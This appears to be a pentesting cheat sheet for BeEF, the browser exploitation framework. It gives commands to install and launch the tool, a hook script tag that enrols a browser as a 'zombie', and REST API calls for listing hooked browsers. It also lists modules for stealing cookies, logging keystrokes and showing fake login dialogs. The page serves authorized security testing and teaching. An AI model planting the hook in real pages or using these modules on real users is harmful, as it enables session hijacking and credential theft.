Exploitation
The standardized sequence for initializing the Browser Exploitation Framework (BeEF), serving the hook script, and managing hooked targets within a controlled testing environment.
sudo apt install beef-xss
beef-xss
BeEF (Browser Exploitation Framework) is a powerful penetration testing tool that focuses on exploiting client-side vulnerabilities through web browsers. It uses a persistent JavaScript hook to maintain control over target browsers.
Once a browser is hooked, BeEF provides a comprehensive command and control interface for executing modules, from simple recon to advanced exploitation, making it the standard tool for browser security assessment.
sudo beef-xssStart the BeEF framework and web UI from the Kali package (defaults to http://127.0.0.1:3000/ui/panel).cd /usr/share/beef-xss && ./beefLaunch BeEF directly from its install directory../beef -c config.yamlStart BeEF with an explicit configuration file../beef -xReset the BeEF database on startup for a clean session../beef -vRun BeEF in verbose mode for detailed logging.curl http://127.0.0.1:3000/hook.jsRetrieve the BeEF hook script that must be loaded by a target browser.<script src="http://127.0.0.1:3000/hook.js"></script>The hook snippet embedded in a test page to enrol a browser as a zombie.http://127.0.0.1:3000/ui/panelOpen the BeEF administrative panel in your browser.http://127.0.0.1:3000/demos/butcher/index.htmlOpen the bundled demo page to hook your own test browser.curl -X POST -H 'Content-Type: application/json' -d '{"username":"beef","password":"beef"}' http://127.0.0.1:3000/api/admin/loginAuthenticate to the BeEF REST API and receive a session token.curl http://127.0.0.1:3000/api/hooks?token=<TOKEN>List currently hooked browsers via the REST API.curl http://127.0.0.1:3000/api/modules?token=<TOKEN>Enumerate available command modules via the REST API.nano config.yamlEdit the main configuration (credentials, host, port, restrictions).sudo systemctl start beef-xssStart BeEF as a service on Kali.cat /usr/share/beef-xss/beef_default.dbInspect the on-disk SQLite database that stores hooked-browser state.Gather detailed info about the hooked browser.
Extract cookies from hooked browsers.
Capture user keystrokes in real-time.
Deploy fake login dialogs and alerts.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.